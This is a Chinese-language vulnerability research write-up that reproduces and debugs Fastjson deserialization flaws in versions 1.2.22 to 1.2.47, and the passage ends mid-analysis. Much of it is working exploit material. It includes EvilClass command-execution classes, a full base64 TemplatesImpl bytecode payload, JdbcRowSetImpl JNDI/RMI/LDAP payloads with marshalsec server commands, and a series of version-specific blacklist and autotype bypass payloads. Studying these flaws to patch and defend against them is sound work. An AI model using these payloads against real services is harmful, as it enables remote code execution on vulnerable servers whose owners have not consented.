Fastjson系列漏洞复现及原理调试分析
Fastjson前置知识
使用Fastjson进行序列化和反序列化
开发环境:IDEA2021.2.1、JDK1.7.0_76(此处选用1.7.0_76是为了方便后续测试)
新建一个 Maven 项目,名称叫Fastjson_demo
,编辑pom.xml
文件如下
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>Fastjson_demo</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>compile</scope>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>7</maven.compiler.source>
<maven.compiler.target>7</maven.compiler.target>
</properties>
</project>
之后右键单击pom.xml
选择Download Sources and Documentation
首先新建一个简单的 Student 类,Student.class
,其中包含两个属性及其getter
/setter
方法,还有类的构造函数:
package fastjson;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("Student构造函数");
}
public String getName() {
System.out.println("Student getName");
return name;
}
public void setName(String name) {
System.out.println("Student setName");
this.name = name;
}
public int getAge() {
System.out.println("Student getAge");
return age;
}
public void setAge(int age) {
System.out.println("Student setAge");
this.age = age;
}
}
JSON.toJsonString()
及其SerializerFeature.WriteClassName
属性
然后新建一个TestFastJson.java
,调用JSON.toJsonString()
来序列化 Student 类对象
package fastjson;
import com.alibaba.fastjson.JSON;
public class TestFastJson {
public static void main(String[] args){
fastjson.Student student = new fastjson.Student();
student.setName("Hello Fastjson!");
student.setAge(18);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}
Fastjson 利用toJSONString
方法来序列化对象,SerializerFeature.WriteClassName
是JSON.toJSONString()
中的一个设置属性值,设置之后在序列化的时候会多写入一个@type
,即写入被序列化的类名。type 可以指定反序列化的类,并且调用其getter
/setter
/is
方法,而问题恰恰出在这个特性,Fastjson接收的 JSON 可以通过@type
字段来指定反序列化时该 JSON 应当还原成何种类型的对象,我们可以配合一些存在问题的类,进一步造成 RCE。
执行TestFastJson.java
输出:
# 设置了SerializerFeature.WriteClassName属性
Student构造函数
Student setName
Student setAge
Student getAge
Student getName
{"@type":"fastjson.Student","age":18,"name":"Hello Fastjson!"}
# 未设置SerializerFeature.WriteClassName属性
Student构造函数
Student setName
Student setAge
Student getAge
Student getName
{"age":18,"name":"Hello Fastjson!"}
JSON.parseObject()
和JSON.parse()
反序列化的API主要有两个,分别是JSON.parseObject()
和JSON.parse()
,最主要的区别就是JSON.parseObject()
在未指定目标类的前提下返回的是 JSONObject,而JSON.parse()
返回的是实际类的对象。
parseObject()
本质上也是调用parse()
进行反序列化的。但是parseObject()
会额外将 Java 对象转为 JSONObject 对象,即JSON.toJSON(obj)
。
所以反序列化时的细节区别在于:
parse()
会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法;
而parseObject()
由于多执行了JSON.toJSON(obj)
,因此在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。
TestFastJsonDeserialize.class
package fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class TestFastJsonDeserialize {
public static void main(String[] args){
String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Hello Fastjson!\"}";
System.out.println("通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:");
JSONObject obj = JSON.parseObject(jsonString);
System.out.println(obj);
System.out.println(obj.getClass().getName());
System.out.println("通过parseObject方法进行反序列化,指定class,返回相应的类:");
fastjson.Student obj02 = JSON.parseObject(jsonString, fastjson.Student.class);
System.out.println(obj02);
System.out.println(obj02.getClass().getName());
System.out.println("通过parse方法进行反序列化,返回相应的类:");
fastjson.Student obj03 = (fastjson.Student)JSON.parse(jsonString);
System.out.println(obj03);
System.out.println(obj03.getClass().getName());
}
}
输出:
通过parseObject方法进行反序列化,未指定class,返回一个JSONObject对象:
Student构造函数
Student setAge
Student setName
Student getAge
Student getName
{"name":"Hello Fastjson!","age":18}
com.alibaba.fastjson.JSONObject
通过parseObject方法进行反序列化,指定class,返回相应的类:
Student构造函数
Student setAge
Student setName
fastjson.Student@2957fcb0
fastjson.Student
通过parse方法进行反序列化,返回相应的类:
Student构造函数
Student setAge
Student setName
fastjson.Student@1376c05c
fastjson.Student
parseObject()
方法的Feature.SupportNonPublicField
属性
Fastjson默认不会反序列化私有属性,若想对私有属性进行反序列化,则需要在parseObject()
方法添加一个属性Feature.SupportNonPublicField
。
举个例子:
我们稍微修改一下Student
类,把私有属性age的setter
方法去掉(如果不去掉,Fastjson依然是能反序列化成功的,因为你提供了这个接口),作为对比,我们把name属性设置为public
,并且也注释掉setter
方法:
package fastjson;
public class Student {
public String name;
// private String name;
private int age;
public Student() {
System.out.println("Student构造函数");
}
public String getName() {
System.out.println("Student getName");
return name;
}
/* public void setName(String name) {
System.out.println("Student setName");
this.name = name;
}*/
public int getAge() {
System.out.println("Student getAge");
return age;
}
/* public void setAge(int age) {
System.out.println("Student setAge");
this.age = age;
}*/
}
然后反序列化(注意将TestFastJson.java
全部注释掉):
String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Hello Fastjson!\"}";
fastjson.Student obj04 = JSON.parseObject(jsonString, fastjson.Student.class, Feature.SupportNonPublicField);
System.out.println(obj04);
System.out.println(obj04.getClass().getName());
System.out.println(obj04.getName() + " " + obj04.getAge());
输出如下,发现未设置Feature.SupportNonPublicField
时,私有属性age为0,即没有赋值成功,而同样没有setter
方法的公有属性name却可以赋值成功。
# 设置了Feature.SupportNonPublicField属性
Student构造函数
fastjson.Student@2d8e6db6
fastjson.Student
Student getName
Student getAge
Hello Fastjson! 18
# 未设置Feature.SupportNonPublicField属性
Student构造函数
fastjson.Student@2d8e6db6
fastjson.Student
Student getName
Student getAge
Hello Fastjson! 0
Fastjson反序列化漏洞原理
从前文可知,Fastjson是自己实现的一套序列化和反序列化机制,不是用的Java原生的序列化和反序列化机制。
无论是哪个版本,Fastjson反序列化漏洞的原理都是一样的,只不过不同版本是针对不同的黑名单或者借助不同利用链来进行绕过利用而已。
那么如何才能找到这种有危险操作的类呢?
前文中,我们知道Fastjson使用parseObject()
/parse()
进行反序列化的时候可以指定类型。。有两种情况我们有可乘之机:
1、反序列化指定某个具体类,开发者实现的这个具体类中就包含了危险操作;
2、反序列化指定的类很大,包含了很多子类,并且在不在反序列化的黑名单内。极端情况,如Object或JSONObject,则可以反序列化出来任意类。例如代码Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。这种情况下,带有危险操作的类就会有很多。
那么如何才能触发反序列化得到的危险操作类中的危险函数呢?
从前文可知,Fastjson在反序列化时,可能会将目标类的构造函数、getter
方法、setter
方法、is
方法执行一遍,如果此时这四个方法中有危险操作,就会导致反序列化漏洞。换句话说,就是攻击者传入要进行反序列化的类中的构造函数、getter
方法、setter
方法、is
方法中要存在漏洞才能触发。
举个例子:
我们在setName()函数中加入了一个危险操作:
package fastjson;
import java.io.IOException;
public class Student {
public String name;
// private String name;
private int age;
public Student() {
System.out.println("Student构造函数");
}
public String getName() {
System.out.println("Student getName");
return name;
}
public void setName(String name) throws IOException {
System.out.println("Student setName");
Runtime.getRuntime().exec("calc");
this.name = name;
}
public int getAge() {
System.out.println("Student getAge");
return age;
}
/* public void setAge(int age) {
System.out.println("Student setAge");
this.age = age;
}*/
}
然后反序列化,便可弹出计算器
String jsonString ="{\"@type\":\"fastjson.Student\",\"age\":18,\"name\":\"Hello Fastjson!\"}";
fastjson.Student obj04 = JSON.parseObject(jsonString, fastjson.Student.class, Feature.SupportNonPublicField);
System.out.println(obj04);
System.out.println(obj04.getClass().getName());
System.out.println(obj04.getName() + " " + obj04.getAge());
上述就是反序列化具体类的场景,若是反序列化一个大类(抽象类)如下:
Object obj04 = JSON.parseObject(jsonString, Object.class, Feature.SupportNonPublicField);
小结一下,关键是要找出一个在目标环境中已存在的类,满足如下两个条件:
- 该类的构造函数、
setter
方法、getter
方法、is
方法中的某一个存在危险操作; - 可以控制该漏洞函数的变量(一般就是该类的属性);
反序列化漏洞(一)——1.2.22-1.2.24
基于TemplatesImpl
的利用链
限制条件
需要设置Feature.SupportNonPublicField
进行反序列化操作才能成功触发利用。
漏洞复现
笔者复现用到的jar包:fastjson-1.2.24.jar,commons-codec-1.12.jar,commons-io-2.5.jar
在刚才的项目中,新建一个含有危险操作(弹计算器)的类EvilClass.java
package TemplatesImpl_Exploit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
EvilClass t = new EvilClass();
}
}
然后新建一个利用代码TemplatesImpl_Exp.java
,作为漏洞入口,其中27行readClass()
方法用于读取EvilClass.class
文件,并进行base64编码。由于反序列化中_bytecodes
、_tfactory
等都是私有属性,因此parseObject()
需要参数Feature.SupportNonPublicField
。
package TemplatesImpl_Exploit;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class TemplatesImpl_Exp {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String evilClassPath = System.getProperty("user.dir") + System.getProperty("file.separator") + "target/classes/TemplatesImpl_Exploit/EvilClass.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
输出的POC:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAMgoABwAkCgAlACYIACcKACUAKAcAKQoABQAkBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACFMVGVtcGxhdGVzSW1wbF9FeHBsb2l0L0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwArAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcALQwALgAvAQAEY2FsYwwAMAAxAQAfVGVtcGxhdGVzSW1wbF9FeHBsb2l0L0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAwABAANAA0ADgAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAPAAAABAABABcAAQARABgAAgAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABUADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAZABoAAgAAAAEAGwAcAAMADwAAAAQAAQAXAAkAHQAeAAIACgAAAEEAAgACAAAACbsABVm3AAZMsQAAAAIACwAAAAoAAgAAABgACAAZAAwAAAAWAAIAAAAJAB8AIAAAAAgAAQAhAA4AAQAPAAAABAABABAAAQAiAAAAAgAj"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
关键点解释:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
是那个带有危险操作的类;- 经过base64编码的payload会经过私有属性
_bytecodes
传递给_outputProperties
函数,从而导致命令执行; - 另外,在
defineTransletClasses()
时会调用getExternalExtensionsMap()
,当为null时会报错,所以要对_tfactory
设置,这一点后面调试分析会说到。
调试分析
以终为始,断点下在EvilClass.java
的危险操作代码行

完整调用链如下图

为了调试分析,在入口JSON.parseObject()
下个断点,进入
然后到DefaultJSONParser
对象的parseObject()
方法,继续进入
接着调用了ObjectDeserializer
的deserialze()
方法,进入
然后判断调用DefaultJSONParser
的parseObject()
方法还是parse()
方法,最终调用DefaultJSONParser.parse()
方法
在DefaultJSONParser.parse()
里对JSON内容进行扫描,在switch语句中匹配上了{
即对应12,调用DefaultJSONParser.parseObject()
进行解析,进入
接着就是在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
里循环解析json中的内容,其中skipWhitespace()
函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()
获取双引号内的内容,这里得到第一个双引号里的内容为@type
往下调试,判断key是否为@type
且是否关闭了Feature.DisableSpecialKeyDetect
设置,通过判断后调用scanSymbol()
获取到了@type
对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并调用TypeUtils.loadClass()
函数加载该类,进入
看到红框的两个判断语句代码逻辑,是判断当前类名是否以[
开头或以L
开头以;
结尾,当然本次调试分析是不会进入到这两个逻辑,但是这两个判断逻辑为后面的补丁绕过提供了思路,值得注意。
接着通过classLoader.loadClass()
加载到目标类后,将该类名和类缓存到Map中,最后返回该加载的类。
返回后继续接着TypeUtils.loadClass()
往下执行,然后调用deserializer.deserialze()
对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
进行反序列化,进入
执行来到for循环,循环扫描解析
fieldIndex
值为3时,会调用parseField()
继续执行,此时解析到 key 值为_bytecodes
,进入parseField()
会调用fieldDeserializer.parseField()
对_bytecodes
的值进一步解析,进入
接着,会解析出_bytecodes
对应的内容,然后调用setValue()
函数设置对应的值,这里value即为恶意类二进制内容Base64解码后的数据,解码过程发生在setValue()
前面的fieldValueDeserilizer.deserialze()
函数。因为有解码,所以在构造POC的时候,我们也进行了Base64编码。进入setValue()
进入后可以看到,调用了private byte[][] com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl._bytecodes
的set()
方法来设置_bytecodes
的值:
然后回到for循环遍历JSON数据中的其它键值对并赋值,下面是_name
赋值
给_tfactory
赋值
然后来到了我们的关键函数outputProperties
,进入setValue()
下图可以看到,会通过反射机制调用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
方法,下划线跑去哪了?在经过com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
函数时,会把下划线去掉。
getOutputProperties()
方法类型是Properties
,满足之前我们得到的结论即Fastjson反序列化会调用被反序列化的类的某些满足条件的getter
方法,继续跟进,这里需要选择强制进入
然后调用了MethodAccessor.invoke(obj, args)
,继续强制进入
继续强制进入
继续强制进入
在getOutputProperties()
方法中调用了newTransformer().getOutputProperties()
方法,跟进newTransformer()
方法:

然后跟进getTransletInstance()
方法
在defineTransletClasses()
方法中,会根据_bytecodes
的值生成EvilClass
类
跟进defineTransletClasses()
函数看看,发现会调用_tfactory.getExternalExtensionsMap()
函数,因此我们的json数据中有_tfactory
这个参数,否则为null会导致报错
继续看defineTransletClasses()
函数,该函数还会判断恶意类是否继承了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,否则会报错。所以EvilClass
类的代码中继承了AbstractTranslet
。
可以看到最终解析到class TemplatesImpl_Exploit.EvilClass
类了:
后面就是EvilClass类的实例化过程,过程中会调用构造函数,并弹出计算器
最后的调用过滤再具体说下:在getTransletInstance()
函数中调用了defineTransletClasses()
函数,在defineTransletClasses()
函数中会根据_bytecodes
来生成一个Java类(这里为恶意类EvilClass
),该类构造方法中含有命令执行代码,生成的Java类随后会被newInstance()
方法调用生成一个实例对象,从而该类的构造函数被自动调用,进而造成任意代码执行。
基于JdbcRowSetImpl
的利用链
基于JdbcRowSetImpl的利用链主要有两种利用方式,即JNDI+RMI
和JNDI+LDAP
,都是属于基于Bean Property
类型的JNDI的利用方式。
限制条件
由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。
基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
笔者此处用的是7u76
JNDI+LDAP复现
新建一个类JdbcRowSetImpl_EXP.java
package JdbcRowSetImpl_Exploit;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpl_EXP {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/EvilClass\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
另外新建一个 Maven 项目,jdk 选择 7u76,其它什么都不用动,然后新建一个类EvilClass.java
import java.io.IOException;
public class EvilClass {
public EvilClass() {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "touch /tmp/hacked"};
Runtime.getRuntime().exec(cmds);
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
EvilClass e = new EvilClass();
}
}
运行EvilClass.java
,会在target\classes\
生成EvilClass.class
文件,在此目录开启一个http服务
然后利用反序列化工具marshalsec
,开一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9898/#EvilClass"
运行JdbcRowSetImpl_EXP.java
,成功弹出计算器,有报错但不影响
JNDI+RMI复现
修改JdbcRowSetImpl_EXP.java
的payload中dataSourceName
值为rmi://127.0.0.1:1099/EvilClass
用marshalsec开启一个RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:9898/#EvilClass"
调试分析
以RMI为例,断点下在JSON.parse(payload);
,前面是类似的,直奔主题
在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
处会对payload的json数据进行循环遍历,可以看到此时已经解析到com.sun.rowset.JdbcRowSetImpl
类了,继续运行
接着对JdbcRowSetImpl
进行反序列化
接下来有些地方通过ASM机制在运行,不太好调试了,我们提前在com.sun.rowset.JdbcRowSetImpl
下面两处打好断点等它过来
com.sun.rowset.JdbcRowSetImpl#setDataSourceName
com.sun.rowset.JdbcRowSetImpl#setAutoCommit
首先来到了setDataSourceName()
函数处,将dataSource
设置成了rmi://127.0.0.1:1099/EvilClass
接着再来到setAutoCommit()
函数,这里跟进connect()
函数
跟进后发现JNDI的熟悉的注入代码InitialContext.lookup()
方法,其参数this.getDataSourceName()
会获得RMI链接,从而导致JNDI注入
补丁与绕过
补丁分析
修改一下pom.xml,把fastjson版本修改为1.2.41
,然后重新加载
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.41</version>
</dependency>
运行JdbcRowSetImpl_EXP.java
,发现报错,提示autoType禁用了com.sun.rowset.JdbcRowSetImpl
调试,前面步骤差不多,我们直奔主题com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
,debug到该函数下,发现多了个函数checkAutoType()
,跟进
可以看出来checkAutoType()
函数增加了黑白名单,acceptList为白名单,denyList为黑名单。低版本Fastjson白名单需要自己设置,默认为空;黑名单有如下图的23组,前面分析的两条利用链com.sun.
被包含在了第3组。
该函数还引入了一个参数autoTypeSupport,默认为false:
当autoTypeSupport为true时,先进行白名单过滤,匹配成功即可加载该类并返回;否则进行黑名单过滤,匹配成功直接报错;两者皆未匹配成功,则加载该类。宏观上相当于黑名单机制。默认放行,黑名单过滤。
当autoTypeSupport为false时,先进行黑名单过滤,匹配成功直接报错;再匹配白名单,匹配成功即可加载该类并返回;两者皆未匹配成功,则报错。宏观上相当于白名单机制。默认拒绝,白名单放行。
将autoTypeSupport设置为True有两种方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
如果有使用非全局ParserConfig则用另外调用setAutoTypeSupport(true);
AutoType白名单设置方法:
- JVM启动参数:
-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:
ParserConfig.getGlobalInstance().addAccept(“com.xx.a”);
- 通过
fastjson.properties
文件配置。在1.2.25/1.2.26版本支持通过类路径的fastjson.properties
文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
继续调试,就会由于在checkAutoType()
函数中未开启autoTypeSupport,即默认设置false的场景下被黑名单过滤了,从而导致抛出异常
绕过思路
注意:以下payload都是需要AutoTypeSupport为true才能成功利用的
1.2.25-1.2.41
先上payload,该payload适用于1.2.25-1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/EvilClass", "autoCommit":true}
通过前面分析我们知道,虽然Lcom.sun.rowset.JdbcRowSetImpl;
不在黑名单里面,但是当autoTypeSupport为false时,在黑白名单都无法匹配的情况下也是报错的。
下面我们用JdbcRowSetImpl
利用链的代码调试一下,注意需要开启AutoTypeSupport,添加以下代码即可:
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
由于绕过了校验,往下会执行TypeUtils.loadClass(typeName, this.defaultClassLoader, false)
,跟进
然后就真相大白了,第二框会把Lcom.sun.rowset.JdbcRowSetImpl;
转换成com.sun.rowset.JdbcRowSetImpl
,即成功绕过。
另外还有两种绕过方式,可以自行调试:
1.2.25-1.2.42
适用于1.2.25-1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1099/EvilClass", "autoCommit":true}
1.2.25-1.2.43
笔者此处还圈出了第一个框,它是另一种绕过方式,payload如下,适用于1.2.25-1.2.43版本。第一个逗号之前之所以多了两个符号[{
,是因为该利用链在反序列化过程中涉及到一些其他判断需要绕过。具体调试可以尝试去掉这两个符号[{
,执行代码观察报错
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:1099/EvilClass", "autoCommit":true}
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
1.2.25-1.2.45
适用于1.2.25-1.2.45,需要存在mybatis的jar包,且其版本需为3.x.x系列<3.5.0的版本
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/EvilClass"}}
hash黑名单
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。例如Fastjson < 1.2.66
:
基于黑名单绕过,autoTypeSupport属性true才能使用,在1.2.25版本之后,autoTypeSupport默认为false。
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://ip:1389/Calc"}{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://ip:1389/Calc"}{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://ip:1389/Calc"}
反序列化漏洞(二)——1.2.25-1.2.47
概述
Fastjson 1.2.25-1.2.47版本
利用链基于RMI利用的JDK版本<=6u141、7u131、8u121,基于LDAP利用的JDK版本<=6u211、7u201、8u191
此漏洞也可以理解为是一种绕过思路,绕过的大体思路是通过java.lang.Class
,将com.sun.rowset.JdbcRowSetImpl
类加载到Map缓存中,从而绕过AutoType的检测。然后再通过com.sun.rowset.JdbcRowSetImpl
执行恶意RMI链接。payload如下:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/EvilClass",
"autoCommit":true
}
}
可以看到实际上还是利用了com.sun.rowset.JdbcRowSetImpl
这条利用链来攻击利用的,因此除了JDK版本外几乎没有其它限制。
注意,这个payload根据AutoTypeSupport模式的不同,能影响的版本也不同:
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSuppt,都能成功利用;
注意,下面都是在1.2.41版本做的调试
不开启AutoTypeSupport
package JdbcRowSetImpl_Exploit;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpl_EXP {
public static void main(String[] argv){
// String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilClass\", \"autoCommit\":true}";
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"rmi://127.0.0.1:1099/EvilClass\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}
调试一下,我们直接进入checkAutoType()
函数,由于autoTypeSupport为false,所以不会进入第一个白名单,继续往下调试
由于此时typeName为java.lang.Class
,会在this.deserializers.findClass(typeName)
函数中直接被找到,之后clazz
不为空,所以不会经过第二个黑名单就会被返回。
返回到com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
函数,跟进deserialze()
函数
进去后会对val进行判空,然后继续执行解析出com.sun.rowset.JdbcRowSetImpl
并赋值给objVal
,往下执行

然后赋值给strVal
变量,往下执行

接着判断clazz是否为class类,是的话调用TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())
加载strVal指定的类,跟进loadClass()
在loadClass()
里面,成功加载com.sun.rowset.JdbcRowSetImpl
后,会放进map中作为缓存
在遍历第二部分json数据时,依然会进入checkAutoType()
函数,此时可以通过TypeUtils.getClassFromMapping(typeName)
函数获取到刚才在map中缓存的com.sun.rowset.JdbcRowSetImpl
